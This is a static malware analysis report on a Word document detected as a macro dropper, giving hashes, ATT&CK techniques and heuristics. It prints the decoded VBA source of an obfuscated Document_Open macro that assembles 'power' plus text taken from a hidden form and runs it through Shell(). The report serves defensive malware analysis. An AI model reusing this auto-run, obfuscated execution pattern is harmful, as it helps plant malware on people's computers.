Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 23ae1fbadc66f8eb…

MALICIOUS

Office (OOXML)

55.8 KB Created: 2018-11-29 20:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 54d39e9107ddf2f8da5547c115694399 SHA-1: 264d006dccf59f740660f77d5dc110da9dd7d5b5 SHA-256: 23ae1fbadc66f8ebd97b0e95ffe9e78eb1d5cb0022aaa24f5c79249ae91baa78
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA project with a Document_Open macro. This macro utilizes the Shell() function, a common technique for executing arbitrary code, strongly suggesting the document's purpose is to download and run a secondary payload. ClamAV detections further confirm its malicious nature as a dropper.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-7144266-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7144266-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2638 bytes
SHA-256: f8892d2c407078f345eded67c6537235ee6df263221dd40feecff9a071a374e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()

Dim VHPjYNFyh As Boolean
VHPjYNFyh = False
Dim CinBqbT As Double
CinBqbT = Sgn(25021.25640954)
eGdxvlU = 344 - 76
If eGdxvlU = 14164 / 7082 Then
eH43tEJd = "LtwDH8Bio"
End If
xowJnUfZX = "jiFRp8HJInvJsFxs0kgDlMB"
eesYg = Mid(xowJnUfZX, -8614 + 8617, 10956 / 5478)
fub
End Sub

Attribute VB_Name = "zbrCyWT"
Sub fub()

Dim iiJYcES0y As Long
iiJYcES0y = Sgn(0)
WHKhRi2v6 = 27 * 30
If WHKhRi2v6 = -20697 + 20698 Then
NhApnu = "E0NJvYw98"
End If

Dim rYKs6k
rYKs6k = UCase(dS8sG4emg)
Dim iS8m593N As Single
iS8m593N = Val(27148.296429179)


Dim vHWC51 As Boolean
vHWC51 = False
Dim mN7BRXf As Single
mN7BRXf = Sgn(46551.222873225)

Dim lXZleown
lXZleown = "v"

x9NM1 = "pow"
Dim vvueZIRE As Integer
vvueZIRE = Sgn(-21396)
y7zoOk.Yj48N x9NM1 + "er" + F0EXZmTWk, 0


End Sub

Attribute VB_Name = "y7zoOk"
Public Sub Yj48N(iAFGY As String, voJan As Integer)

Dim vD3uxVp As Byte
vD3uxVp = 67
Dim CCikBH As String
CCikBH = Trim(MfKb7JChk)
Dim csyrdX0R5 As Byte
csyrdX0R5 = 118
Dim HKNQY3 As Double
HKNQY3 = Fix(3142.6968668704)
Dim zDcwsR3y0 As Integer
zDcwsR3y0 = Sgn(-22147)
Dim jtfpmMGnq As Long
jtfpmMGnq = Sgn(-728582956)

Dim sydBCtq As Integer
sydBCtq = Sgn(-5134)
jX9ioOJ = 332 - 117
wAwY3 = 2865 - 2855
If jX9ioOJ = wAwY3 Then
vznQa = "PT9q3x"
End If
Dim nGWiZs1D
nGWiZs1D = StrConv(nlmspBza, vbUpperCase)
FVzyc = "WWoNerkENiQfzZICcXSZ2G"
YeQDrLx = -6358 + 6362
IfV9zTHG = Mid(FVzyc, YeQDrLx, 19512 / 4878)
Dim fyHcXefRG As Boolean
fyHcXefRG = True
Shell iAFGY, voJan

End Sub

Attribute VB_Name = "G5sXME38"
Private Function MEbNkX()
Dim DneRU As String
DneRU = Val(qJ0kBsNY)
Dim dgSmKyuD As Byte
dgSmKyuD = 244
Dim iHvdz8Vao As Object

Dim CejQy3 As Byte
CejQy3 = 162
Set iHvdz8Vao = New fMain
Dim GEnrs9f As String

Dim uYp45okc As Single
uYp45okc = 64616.43147286
GEnrs9f = iHvdz8Vao.txt.Text
MEbNkX = GEnrs9f
End Function
Public Function F0EXZmTWk()
'
F0EXZmTWk = MEbNkX
End Function

Attribute VB_Name = "fMain"
Attribute VB_Base = "0{BBC3D466-1F5C-4099-886E-D3282C21CC99}{06457A9A-D14D-4D85-84D8-D271BF78F12A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25088 bytes
SHA-256: d2dceedf1e5e98078deffbc706790dd163a1ade8bc879494663ed9261077be44
Detection
ClamAV: Doc.Dropper.Agent-7144266-0
Obfuscation or payload: unlikely